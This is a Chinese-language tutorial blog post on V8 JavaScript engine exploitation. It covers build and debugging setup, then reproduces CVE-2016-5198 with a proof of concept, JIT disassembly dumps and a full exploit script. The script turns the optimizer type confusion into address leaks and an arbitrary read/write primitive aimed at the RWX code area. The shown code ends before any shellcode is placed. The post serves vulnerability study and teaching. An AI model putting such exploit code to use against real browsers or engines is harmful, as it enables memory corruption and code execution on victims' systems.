V8 exploit技术简介

由于各种事情拖了很久抱歉。
学习了下v8引擎的漏洞利用方法。从v8底层的一些机制和原理到cve的复现大致过了一遍,这里做一下v8 exploit技术的简要总结。

先安利一个v8的文档,链接,比官方文档介绍得更详细,适合调试时拿来当参考手册。

环境搭建

由于众所周知的原因,v8源码的下载对本机的网络环境有一定要求。在搭建环境前需要事先自行配置好网络环境。

本机环境为Ubuntu 18.04。

安装并配置deptools

1
2
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=$PATH:/path/to/depot_tools

v8下载编译

1
2
fetch v8
gclient sync

debug版本编译

1
2
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8

release版本编译

1
2
tools/dev/v8gen.py x64.relase
ninja -C out.gn/x64.relase d8

编译所需时间较长。生成的目标二进制为/path/to/v8/out.gn/x64.debug/d8
编译过程中,会在/path/to/v8/tools目录下生成gdbinit文件,该文件提供了gdb的辅助调试指令,将该文件的内容追加到$HOME/.gdbinit文件中。

v8调试基础

gdbinit_v8为方便v8的辅助调试而开发,其中定义了一系列指令,用的较多的是job指令,用法是job tagged_ptr它用于输出js对象的调试信息,作用与native syntax%Debugprint(obj)大致相同。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> job 0x3ca08281959
0x3ca08281959: [Map]
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x03ca08281931 <Map(HOLEY_DOUBLE_ELEMENTS)>
- prototype_validity cell: 0x03ca081c0451 <Cell value= 1>
- instance descriptors #1: 0x03ca08249939 <DescriptorArray[1]>
- transitions #2: 0x03ca08251a05 <TransitionArray[8]>Transition array #2:
0x3ca08251901: [String] in OldSpace: #xyz: (transition to (const data field, attrs: [WEC]) @ Any) -> 0x03ca08285031 <Map(PACKED_ELEMENTS)>
0x03ca08042f3d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_ELEMENTS) -> 0x03ca08281981 <Map(HOLEY_ELEMENTS)>

- prototype: 0x03ca082492b5 <JSArray[0]>
- constructor: 0x03ca08249189 <JSFunction Array (sfi = 0x3ca081cc44d)>
- dependent code: 0x03ca080401ed <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0

v8运行时附加allow-native-syntax选项,可以在js脚本中采用特定指令辅助调试。

1
2
%DebugPrint(obj); //用于输出js对象的调试信息
%SystemBreak(); // 在js脚本中下断点

具体调试方法可以直接运行然后d8内写指令./d8 --allow-natives-syntax(另外开一个terminal拿gdb attach到d8的pid上)或者写好调试脚本后用d8解释器运行gdb -q ./d8 pwndbg>set args /path/to/jsscript.js --allow-natives-syntax

漏洞复现

下面以CVE-2016-5198为例进行漏洞分析。

POC和调试信息
修复页面

回退版本并编译

1
2
3
4
git checkout a7a350012c05f644f3f373fb48d7ac72f7f60542
gclient sync
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8

下面直接从poc入手分析漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//poc.js
function Ctor() {
n = new Set();
}
function Check() {
n.xyz = 0x826852f4;
parseInt();
}
for(var i=0; i<2000; ++i) {
Ctor();
}
for(var i=0; i<2000; ++i) {
Check();
}
Ctor();
Check();
;


成功触发异常

单看poc并不容易看出具体漏洞的触发过程,结合patch代码可以猜测问题出在JIT优化,下面跟踪JIT优化的具体过程。

用–print-code获得JIT优化前后的机器码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
--- Code ---
kind = LOAD_GLOBAL_IC
major_key = <NoCache>Stub
extra_ic_state = 1
name = LoadGlobalICTrampolineStub
compiler = turbofan
Instructions (size = 521)
0x1e5a3a7843e0 0 488bdd REX.W movq rbx,rbp
0x1e5a3a7843e3 3 488b5bf0 REX.W movq rbx,[rbx-0x10]
0x1e5a3a7843e7 7 488b5b2f REX.W movq rbx,[rbx+0x2f]
0x1e5a3a7843eb 11 488b5b0f REX.W movq rbx,[rbx+0xf]
0x1e5a3a7843ef 15 488bd0 REX.W movq rdx,rax
0x1e5a3a7843f2 18 48c1ea1d REX.W shrq rdx, 29
0x1e5a3a7843f6 22 488b54130f REX.W movq rdx,[rbx+rdx*1+0xf]
0x1e5a3a7843fb 27 488b4aff REX.W movq rcx,[rdx-0x1]
0x1e5a3a7843ff 31 0fb6490b movzxbl rcx,[rcx+0xb]
0x1e5a3a784403 35 81f9ac000000 cmpl rcx,0xac
0x1e5a3a784409 41 0f8594000000 jnz 195 (0x1e5a3a7844a3)
0x1e5a3a78440f 47 488b5207 REX.W movq rdx,[rdx+0x7]
0x1e5a3a784413 51 4883fa00 REX.W cmpq rdx,0x0
0x1e5a3a784417 55 0f842b000000 jz 104 (0x1e5a3a784448)
0x1e5a3a78441d 61 488b4aff REX.W movq rcx,[rdx-0x1]
0x1e5a3a784421 65 0fb6490b movzxbl rcx,[rcx+0xb]
0x1e5a3a784425 69 81f9ae000000 cmpl rcx,0xae
0x1e5a3a78442b 75 0f85d1000000 jnz 290 (0x1e5a3a784502)
0x1e5a3a784431 81 488b520f REX.W movq rdx,[rdx+0xf]
0x1e5a3a784435 85 493955a8 REX.W cmpq [r13-0x58],rdx
0x1e5a3a784439 89 0f8446000000 jz 165 (0x1e5a3a784485)
0x1e5a3a78443f 95 488bc2 REX.W movq rax,rdx
0x1e5a3a784442 98 c3 retl
0x1e5a3a784443 99 e93d000000 jmp 165 (0x1e5a3a784485)
0x1e5a3a784448 104 488bd0 REX.W movq rdx,rax
0x1e5a3a78444b 107 48c1ea1d REX.W shrq rdx, 29
0x1e5a3a78444f 111 488b7c1317 REX.W movq rdi,[rbx+rdx*1+0x17]
0x1e5a3a784454 116 4939bd500b0000 REX.W cmpq [r13+0xb50],rdi
0x1e5a3a78445b 123 0f8424000000 jz 165 (0x1e5a3a784485)
0x1e5a3a784461 129 488b57ff REX.W movq rdx,[rdi-0x1]
0x1e5a3a784465 133 0fb6520b movzxbl rdx,[rdx+0xb]
0x1e5a3a784469 137 81fa85000000 cmpl rdx,0x85
0x1e5a3a78446f 143 0f85ec000000 jnz 385 (0x1e5a3a784561)
0x1e5a3a784475 149 488b5627 REX.W movq rdx,[rsi+0x27]
0x1e5a3a784479 153 488b521f REX.W movq rdx,[rdx+0x1f]
0x1e5a3a78447d 157 33c9 xorl rcx,rcx
0x1e5a3a78447f 159 4883c75f REX.W addq rdi,0x5f
0x1e5a3a784483 163 ffe7 jmp rdi
0x1e5a3a784485 165 53 push rbx
0x1e5a3a784486 166 ff742408 push [rsp+0x8]
0x1e5a3a78448a 170 4889442410 REX.W movq [rsp+0x10],rax
0x1e5a3a78448f 175 48bba0f390240a7f0000 REX.W movq rbx,0x7f0a2490f3a0
0x1e5a3a784499 185 b802000000 movl rax,0x2
0x1e5a3a78449e 190 e99dfeefff jmp 0x1e5a3a684340 ;; code: STUB, CEntryStub, minor: 8
0x1e5a3a7844a3 195 55 push rbp
0x1e5a3a7844a4 196 4889e5 REX.W movq rbp,rsp
0x1e5a3a7844a7 199 49ba000000000a000000 REX.W movq r10,0xa00000000
0x1e5a3a7844b1 209 4152 push r10
0x1e5a3a7844b3 211 4883ec20 REX.W subq rsp,0x20
0x1e5a3a7844b7 215 488945f0 REX.W movq [rbp-0x10],rax
0x1e5a3a7844bb 219 48b8619fe875a23b0000 REX.W movq rax,0x3ba275e89f61 ;; object: 0x3ba275e89f61 <String[98]\: CSA_ASSERT failed: HasInstanceType(object, instance_type) [../../src/code-stub-assembler.cc:1005]\n>
0x1e5a3a7844c5 229 50 push rax
0x1e5a3a7844c6 230 48895de8 REX.W movq [rbp-0x18],rbx
0x1e5a3a7844ca 234 488975e0 REX.W movq [rbp-0x20],rsi
0x1e5a3a7844ce 238 488955d8 REX.W movq [rbp-0x28],rdx
0x1e5a3a7844d2 242 48bba0dccb240a7f0000 REX.W movq rbx,0x7f0a24cbdca0
0x1e5a3a7844dc 252 b801000000 movl rax,0x1
0x1e5a3a7844e1 257 33f6 xorl rsi,rsi
...

可见优化后的机器码,可以对比优化前后的冗余检查,如果要输出结果更明显,可以使用v8-print-filter

将poc修改为更便于调试的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
function Ctor() {
n = new Set();
}
function Check() {
n.xyz = 0x826852f4;
parseInt();
}

print("b1");
%DebugPrint(Ctor);
%DebugPrint(Check);

%SystemBreak();


for(var i=0; i<2000; ++i) {
Ctor();
}

print("b2");
%DebugPrint(Ctor);
%DebugPrint(n);
%SystemBreak();

for(var i=0; i<2000; ++i) {
Check();
}

print("b3");
%DebugPrint(Ctor);
%DebugPrint(Check);
%SystemBreak();

Ctor();

print("b4")
%DebugPrint(n);
%DebugPrint(Ctor);
%DebugPrint(Check);
%SystemBreak();

Check();

print("b5")
%DebugPrint(n);
%DebugPrint(Ctor);
%DebugPrint(Check);
%SystemBreak();
b1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
b1
DebugPrint: 0x36e93fbab8d9: [Function]
- map = 0x327cab0040f1 [FastProperties]
- prototype = 0x36e93fb840b9
- elements = 0x31ccdc882241 <FixedArray[0]> [FAST_HOLEY_ELEMENTS]
- initial_map =
- shared_info = 0x36e93fbab391 <SharedFunctionInfo Ctor>
- name = 0x36e93fbaafd9 <String[4]: Ctor>
- formal_parameter_count = 0
- context = 0x36e93fb83951 <FixedArray[235]>
- literals = 0x31ccdc884b21 <FixedArray[1]>
- code = 0x2add56004481 <Code: BUILTIN>
- properties = {
#length: 0x31ccdc8d55d9 <AccessorInfo> (accessor constant)
#name: 0x31ccdc8d5649 <AccessorInfo> (accessor constant)
#arguments: 0x31ccdc8d56b9 <AccessorInfo> (accessor constant)
#caller: 0x31ccdc8d5729 <AccessorInfo> (accessor constant)
#prototype: 0x31ccdc8d5799 <AccessorInfo> (accessor constant)
}
0x327cab0040f1: [Map]
- type: JS_FUNCTION_TYPE
- instance size: 72
- inobject properties: 0
- elements kind: FAST_HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- callable
- constructor
- back pointer: 0x31ccdc882311 <undefined>
- instance descriptors (own) #5: 0x36e93fb8ac59 <FixedArray[17]>
- layout descriptor: 0
- prototype: 0x36e93fb840b9 <JS Function (SharedFunctionInfo 0x31ccdc887ec9)>
- constructor: 0x36e93fb8ab39 <JS Function Function (SharedFunctionInfo 0x31ccdc8bb631)>
- code cache: 0x31ccdc882241 <FixedArray[0]>
- dependent code: 0x31ccdc882241 <FixedArray[0]>
- construction counter: 0

DebugPrint: 0x36e93fbab959: [Function]
- map = 0x327cab0040f1 [FastProperties]
- prototype = 0x36e93fb840b9
- elements = 0x31ccdc882241 <FixedArray[0]> [FAST_HOLEY_ELEMENTS]
- initial_map =
- shared_info = 0x36e93fbab461 <SharedFunctionInfo Check>
- name = 0x36e93fbaaff9 <String[5]: Check>
- formal_parameter_count = 0
- context = 0x36e93fb83951 <FixedArray[235]>
- literals = 0x31ccdc884b21 <FixedArray[1]>
- code = 0x2add56004481 <Code: BUILTIN>
- properties = {
#length: 0x31ccdc8d55d9 <AccessorInfo> (accessor constant)
#name: 0x31ccdc8d5649 <AccessorInfo> (accessor constant)
#arguments: 0x31ccdc8d56b9 <AccessorInfo> (accessor constant)
#caller: 0x31ccdc8d5729 <AccessorInfo> (accessor constant)
#prototype: 0x31ccdc8d5799 <AccessorInfo> (accessor constant)
}
0x327cab0040f1: [Map]
- type: JS_FUNCTION_TYPE
- instance size: 72
- inobject properties: 0
- elements kind: FAST_HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- callable
- constructor
- back pointer: 0x31ccdc882311 <undefined>
- instance descriptors (own) #5: 0x36e93fb8ac59 <FixedArray[17]>
- layout descriptor: 0
- prototype: 0x36e93fb840b9 <JS Function (SharedFunctionInfo 0x31ccdc887ec9)>
- constructor: 0x36e93fb8ab39 <JS Function Function (SharedFunctionInfo 0x31ccdc8bb631)>
- code cache: 0x31ccdc882241 <FixedArray[0]>
- dependent code: 0x31ccdc882241 <FixedArray[0]>
- construction counter: 0

此时取出code对象的内存可以分析函数的JIT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
0x2add56004481: [Code]
kind = BUILTIN //未优化
name = CompileLazy
compiler = unknown
Instructions (size = 641)
0x2add560044e0 0 4c8b471f REX.W movq r8,[rdi+0x1f]
0x2add560044e4 4 4d8b4017 REX.W movq r8,[r8+0x17]
0x2add560044e8 8 458b480b movl r9,[r8+0xb]
0x2add560044ec 12 4183f902 cmpl r9,0x2
0x2add560044f0 16 0f8c1f020000 jl CompileLazy (0x2add56004715)
0x2add560044f6 22 4c8b7627 REX.W movq r14,[rsi+0x27]
0x2add560044fa 26 4f8b5cc8ef REX.W movq r11,[r8+r9*8-0x11]
0x2add560044ff 31 4d8b5b07 REX.W movq r11,[r11+0x7]
0x2add56004503 35 4d3bde REX.W cmpq r11,r14
0x2add56004506 38 0f8552010000 jnz CompileLazy (0x2add5600465e)
0x2add5600450c 44 4f8b5cc807 REX.W movq r11,[r8+r9*8+0x7]
0x2add56004511 49 49c1eb20 REX.W shrq r11, 32
0x2add56004515 53 4183fbff cmpl r11,0xff
0x2add56004519 57 0f853f010000 jnz CompileLazy (0x2add5600465e)
0x2add5600451f 63 4f8b5cc8ff REX.W movq r11,[r8+r9*8-0x1]
0x2add56004524 68 4d8b5b07 REX.W movq r11,[r11+0x7]
0x2add56004528 72 41f6c301 testb r11,0x1
0x2add5600452c 76 0f84e3010000 jz CompileLazy (0x2add56004715)
0x2add56004532 82 4c895f2f REX.W movq [rdi+0x2f],r11
0x2add56004536 86 4d8bf9 REX.W movq r15,r9
0x2add56004539 89 4c8d7f2f REX.W leaq r15,[rdi+0x2f]
0x2add5600453d 93 4981e30000f8ff REX.W andq r11,0xfffffffffff80000
0x2add56004544 100 41f6430802 testb [r11+0x8],0x2
0x2add56004549 105 7416 jz CompileLazy (0x2add56004561)
0x2add5600454b 107 49c7c30000f8ff REX.W movq r11,0xfff80000
0x2add56004552 114 4c23df REX.W andq r11,rdi
0x2add56004555 117 41f6430804 testb [r11+0x8],0x4
0x2add5600455a 122 7405 jz CompileLazy (0x2add56004561)
0x2add5600455c 124 e87f020000 call 0x2add560047e0 ;; code: STUB, RecordWriteStub, minor: 4023
0x2add56004561 129 4b8b4cc8f7 REX.W movq rcx,[r8+r9*8-0x9]
0x2add56004566 134 488b4907 REX.W movq rcx,[rcx+0x7]
0x2add5600456a 138 f6c101 testb rcx,0x1
0x2add5600456d 141 0f84fe000000 jz CompileLazy (0x2add56004671)
0x2add56004573 147 488d495f REX.W leaq rcx,[rcx+0x5f]
0x2add56004577 151 48894f37 REX.W movq [rdi+0x37],rcx
...
...


RelocInfo (size = 23)
0x2add5600455d code target (STUB) (0x2add560047e0)
0x2add560045c4 external reference (isolate) (0x5615f326ea20)
0x2add560045ce external reference (IncrementalMarking::RecordWriteOfCodeEntryFromCode) (0x7f44bf06e760)
0x2add56004618 code target (STUB) (0x2add56004e00)
0x2add56004655 code target (STUB) (0x2add56005360)
0x2add560046ec external reference (isolate) (0x5615f326ea20)
0x2add560046f6 external reference (IncrementalMarking::RecordWriteOfCodeEntryFromCode) (0x7f44bf06e760)
0x2add56004727 embedded object (0x2add56004481 <Code: BUILTIN>)
0x2add56004740 external reference (Runtime::CompileLazy) (0x7f44bf38a520)
0x2add56004749 code target (STUB) (0x2add56004340)

包含机器码和重定位信息,类似可输出Ctor()的code对象。可以看出此时Check()Ctor()均处于未优化状态。

b2

优化后的Ctor()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
pwndbg> job 0x2add56106a21
0x2add56106a21: [Code]
kind = OPTIMIZED_FUNCTION
stack_slots = 5
compiler = crankshaft
Instructions (size = 218)
0x2add56106a80 0 55 push rbp
0x2add56106a81 1 4889e5 REX.W movq rbp,rsp
0x2add56106a84 4 56 push rsi
0x2add56106a85 5 57 push rdi
0x2add56106a86 6 4883ec08 REX.W subq rsp,0x8
0x2add56106a8a 10 488b45f8 REX.W movq rax,[rbp-0x8]
0x2add56106a8e 14 488945e8 REX.W movq [rbp-0x18],rax
0x2add56106a92 18 488bf0 REX.W movq rsi,rax
0x2add56106a95 21 493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0x2add56106a9c 28 7305 jnc 35 (0x2add56106aa3)
0x2add56106a9e 30 e83dbef5ff call StackCheck (0x2add560628e0) ;; code: BUILTIN
0x2add56106aa3 35 49bae95bb93fe9360000 REX.W movq r10,0x36e93fb95be9 ;; object: 0x36e93fb95be9 <JS Function Set (SharedFunctionInfo 0x31ccdc89cb31)>
0x2add56106aad 45 4152 push r10
0x2add56106aaf 47 48bae95bb93fe9360000 REX.W movq rdx,0x36e93fb95be9 ;; object: 0x36e93fb95be9 <JS Function Set (SharedFunctionInfo 0x31ccdc89cb31)>
0x2add56106ab9 57 48bae95bb93fe9360000 REX.W movq rdx,0x36e93fb95be9 ;; object: 0x36e93fb95be9 <JS Function Set (SharedFunctionInfo 0x31ccdc89cb31)>
0x2add56106ac3 67 33c0 xorl rax,rax
0x2add56106ac5 69 488b75e8 REX.W movq rsi,[rbp-0x18]
0x2add56106ac9 73 488bfa REX.W movq rdi,rdx
0x2add56106acc 76 e8ef69f3ff call Construct (0x2add5603d4c0) ;; code: BUILTIN
0x2add56106ad1 81 a801 test al,0x1
0x2add56106ad3 83 0f8458000000 jz 177 (0x2add56106b31)
0x2add56106ad9 89 49ba096500ab7c320000 REX.W movq r10,0x327cab006509 ;; object: 0x327cab006509 <Map(FAST_HOLEY_SMI_ELEMENTS)>
0x2add56106ae3 99 4c3950ff REX.W cmpq [rax-0x1],r10
0x2add56106ae7 103 0f8549000000 jnz 182 (0x2add56106b36)
0x2add56106aed 109 48bb69bfba3fe9360000 REX.W movq rbx,0x36e93fbabf69 ;; object: 0x36e93fbabf69 PropertyCell for 0x763440546d1 <a Set with map 0x327cab006509>
0x2add56106af7 119 4889430f REX.W movq [rbx+0xf],rax
0x2add56106afb 123 488d530f REX.W leaq rdx,[rbx+0xf]
0x2add56106aff 127 48250000f8ff REX.W and rax,0xfffffffffff80000
0x2add56106b05 133 f6400802 testb [rax+0x8],0x2
0x2add56106b09 137 7415 jz 160 (0x2add56106b20)
0x2add56106b0b 139 48c7c00000f8ff REX.W movq rax,0xfff80000
0x2add56106b12 146 4823c3 REX.W andq rax,rbx
0x2add56106b15 149 f6400804 testb [rax+0x8],0x4
0x2add56106b19 153 7405 jz 160 (0x2add56106b20)
0x2add56106b1b 155 e8c0f6ffff call 0x2add561061e0 ;; code: STUB, RecordWriteStub, minor: 8707
0x2add56106b20 160 48b8112388dccc310000 REX.W movq rax,0x31ccdc882311 ;; object: 0x31ccdc882311 <undefined>
0x2add56106b2a 170 488be5 REX.W movq rsp,rbp
0x2add56106b2d 173 5d pop rbp
0x2add56106b2e 174 c20800 ret 0x8
0x2add56106b31 177 e8ded4d7ff call 0x2add55e84014 ;; deoptimization bailout 2
0x2add56106b36 182 e8e3d4d7ff call 0x2add55e8401e ;; deoptimization bailout 3
0x2add56106b3b 187 90 nop

Source positions:
pc offset position
35 26
47 26
47 26
57 26
57 26
67 26
67 26
69 26
76 26
81 26
81 26
81 26
81 26
89 26
89 26
109 26
109 26
119 26
119 26
160 26
170 26
177 26

Inlined functions (count = 0)

Deoptimization Input Data (deopt points = 4)
index ast id argc pc
0 4 0 35
1 12 0 81
2 12 0 -1
3 12 0 -1

Safepoints (size = 30)
0x2add56106aa3 35 10000 (sp -> fp) 0
0x2add56106ad1 81 10000 (sp -> fp) 1

RelocInfo (size = 13)
0x2add56106a9f code target (BUILTIN) (0x2add560628e0)
0x2add56106aa5 embedded object (0x36e93fb95be9 <JS Function Set (SharedFunctionInfo 0x31ccdc89cb31)>)
0x2add56106ab1 embedded object (0x36e93fb95be9 <JS Function Set (SharedFunctionInfo 0x31ccdc89cb31)>)
0x2add56106abb embedded object (0x36e93fb95be9 <JS Function Set (SharedFunctionInfo 0x31ccdc89cb31)>)
0x2add56106acd code target (BUILTIN) (0x2add5603d4c0)
0x2add56106adb embedded object (0x327cab006509 <Map(FAST_HOLEY_SMI_ELEMENTS)>)
0x2add56106aef embedded object (0x36e93fbabf69 PropertyCell for 0x763440546d1 <a Set with map 0x327cab006509>)
0x2add56106b1c code target (STUB) (0x2add561061e0)
0x2add56106b22 embedded object (0x31ccdc882311 <undefined>)
0x2add56106b32 runtime entry (deoptimization bailout 2)
0x2add56106b37 runtime entry (deoptimization bailout 3)
b3

Check()函数此时也被优化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
pwndbg> job 0x2add56106de1
0x2add56106de1: [Code]
kind = OPTIMIZED_FUNCTION
stack_slots = 5
compiler = crankshaft
Instructions (size = 170)
0x2add56106e40 0 55 push rbp
0x2add56106e41 1 4889e5 REX.W movq rbp,rsp
0x2add56106e44 4 56 push rsi
0x2add56106e45 5 57 push rdi
0x2add56106e46 6 4883ec08 REX.W subq rsp,0x8
0x2add56106e4a 10 488b45f8 REX.W movq rax,[rbp-0x8]
0x2add56106e4e 14 488945e8 REX.W movq [rbp-0x18],rax
0x2add56106e52 18 488bf0 REX.W movq rsi,rax
0x2add56106e55 21 493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0x2add56106e5c 28 7305 jnc 35 (0x2add56106e63)
0x2add56106e5e 30 e87dbaf5ff call StackCheck (0x2add560628e0) ;; code: BUILTIN
0x2add56106e63 35 48b869bfba3fe9360000 REX.W movq rax,0x36e93fbabf69 ;; object: 0x36e93fbabf69 PropertyCell for 0x763440546d1 <a Set with map 0x327cab00c391>
0x2add56106e6d 45 488b400f REX.W movq rax,[rax+0xf]
0x2add56106e71 49 49ba0000805e0a4de041 REX.W movq r10,0x41e04d0a5e800000 // 赋值操作 0x826852f4浮点形式的内存表示
0x2add56106e7b 59 c4c1f96ec2 vmovq xmm0,r10
0x2add56106e80 64 488b4007 REX.W movq rax,[rax+0x7] //取出JSSet的elements
0x2add56106e84 68 488b400f REX.W movq rax,[rax+0xf] //获得n.xyz的地址
0x2add56106e88 72 c5fb114007 vmovsd [rax+0x7],xmm0 //将值写进xyz的对应地址
0x2add56106e8d 77 49ba112388dccc310000 REX.W movq r10,0x31ccdc882311 ;; object: 0x31ccdc882311 <undefined>
0x2add56106e97 87 4152 push r10
0x2add56106e99 89 48bf51d8b83fe9360000 REX.W movq rdi,0x36e93fb8d851 ;; object: 0x36e93fb8d851 <JS Function parseInt (SharedFunctionInfo 0x31ccdc8bce11)>
0x2add56106ea3 99 488b75e8 REX.W movq rsi,[rbp-0x18]
0x2add56106ea7 103 488b7727 REX.W movq rsi,[rdi+0x27]
0x2add56106eab 107 498b55a0 REX.W movq rdx,[r13-0x60]
0x2add56106eaf 111 33c0 xorl rax,rax
0x2add56106eb1 113 bb02000000 movl rbx,0x2
0x2add56106eb6 118 e845edefff call ArgumentsAdaptorTrampoline (0x2add56005c00) ;; code: BUILTIN
0x2add56106ebb 123 48b8112388dccc310000 REX.W movq rax,0x31ccdc882311 ;; object: 0x31ccdc882311 <undefined>
0x2add56106ec5 133 488be5 REX.W movq rsp,rbp
0x2add56106ec8 136 5d pop rbp
0x2add56106ec9 137 c20800 ret 0x8

Source positions:
pc offset position
77 86
89 86
89 86
99 86
103 86
123 86
123 86
123 86
133 86
140 86

Inlined functions (count = 0)

Deoptimization Input Data (deopt points = 2)
index ast id argc pc
0 4 0 35
1 21 0 123

Safepoints (size = 30)
0x2add56106e63 35 10000 (sp -> fp) 0
0x2add56106ebb 123 10000 (sp -> fp) 1

RelocInfo (size = 6)
0x2add56106e5f code target (BUILTIN) (0x2add560628e0)
0x2add56106e65 embedded object (0x36e93fbabf69 PropertyCell for 0x763440546d1 <a Set with map 0x327cab00c391>)
0x2add56106e8f embedded object (0x31ccdc882311 <undefined>)
0x2add56106e9b embedded object (0x36e93fb8d851 <JS Function parseInt (SharedFunctionInfo 0x31ccdc8bce11)>)
0x2add56106eb7 code target (BUILTIN) (0x2add56005c00)
0x2add56106ebd embedded object (0x31ccdc882311 <undefined>)

优化后的Check()的JIT会从JSSet的elements取出一段偏移,将赋值写入。在0x2add56106e63下断点,跟踪到优化后的JIT

之后单步跟踪,到push r10执行后触发crash

crash这段对应的JIT机器码

1
2
3
4
5
6
7
0x2add56106e71    49  49ba0000805e0a4de041 REX.W movq r10,0x41e04d0a5e800000
0x2add56106e7b 59 c4c1f96ec2 vmovq xmm0,r10
0x2add56106e80 64 488b4007 REX.W movq rax,[rax+0x7]
0x2add56106e84 68 488b400f REX.W movq rax,[rax+0xf]
0x2add56106e88 72 c5fb114007 vmovsd [rax+0x7],xmm0
0x2add56106e8d 77 49ba112388dccc310000 REX.W movq r10,0x31ccdc882311 ;; object: 0x31ccdc882311 <undefined>
0x2add56106e97 87 4152 push r10

v8中double的存储方式为顺着目标位置上的数据指针保存到该指针指向地址的下一个WORD中。
fixedarray未初始化时长度为0,此时根据偏移0xf进行赋值数据的存储。因此会按照Fixed Array下方0x10偏移的NULL字符串的MAP属性位置存储这个数据。存储的方式为V8中处理double类型数据的方法,因此,0x41e04d0a5e800000(0x826852f4)这个数据会根据NULL String的MAP而保存在这个MAP结构的0x8偏移处,从而破坏该结构。然而后续调用的parseInt需要这个结构,因此产生崩溃。

完整利用如下(测试方法待补充)
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
class Memory{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
d2u(val){
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[1] * 0x100000000 + tmp[0];
}
u2d(val){
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
this.u32.set(tmp);
return this.f64[0];
}
}
var mem = new Memory();

function leak_string(str)
{
return str.charCodeAt(0)*0x1+str.charCodeAt(1)*0x100+str.charCodeAt(2)*0x10000+str.charCodeAt(3)*0x1000000+str.charCodeAt(4)*0x100000000+str.charCodeAt(5)*0x10000000000+str.charCodeAt(6)*0x1000000000000+str.charCodeAt(7)*0x100000000000000;
}

function Ctor1(){
n = new Set();
}

function Ctor2(){
m = new Map();
}

function Ctor3(){
l = new ArrayBuffer();
}

function Check1(obj){
n.xyz0 = 3.4766863919152113e-308; // mem.u2d(0x0019000400007300);
n.xyz1 = 0; // mem.u2d(0x1111111)
n.xyz2 = 0x1000;
n.xyz3 = obj;
}

function Check2(val){
m.xyz0 = 3.4766863919152113e-308; // mem.u2d(0x0019000400007300);
m.xyz1 = 0; // mem.u2d(0x1111111)
m.xyz2 = 0x1000;
m.xyz3 = val;
}

function Check3(val){
l.xyz0 = 3.4766863919152113e-308; // mem.u2d(0x0019000400007300);
l.xyz1 = val;
}

function func()
{
return 0;
}
for(var i = 0; i < 10000; i++){
func();
}

for(var i = 0; i < 10000; i++){
Ctor1();
Ctor2();
Ctor3();
}

for(var i = 0; i < 10000; i++){
Check1(null);
Check2(3.4766863919152113e-308);
Check3(3.4766863919152113e-308);
}

//%DebugPrint(Check1);
var ab = new ArrayBuffer(0x100);
var str= new String(null);

//var n, m, l;
Ctor1();
Ctor2();
Ctor3();

Check1(ab);
ab_addr = leak_string(str);
ab_backing = ab_addr + 0x20;
print("[*]backing store: 0x" + ab_backing.toString(16));

//%DebugPrint(func);
Check1(func);
func_addr = leak_string(str)-1;
code_entry = func_addr + 0x38;
print("[*]func address: 0x" + func_addr.toString(16));

//%DebugPrint(str);
Check1(String(null));
Check2(mem.u2d(ab_backing - 0x8));
Check3(mem.u2d(code_entry));

dataView = new DataView(ab);
rwx_area = mem.d2u(dataView.getFloat64(0, true));
print("[*]rwx_area: 0x" + rwx_area.toString(16));

Check3(mem.u2d(rwx_area));
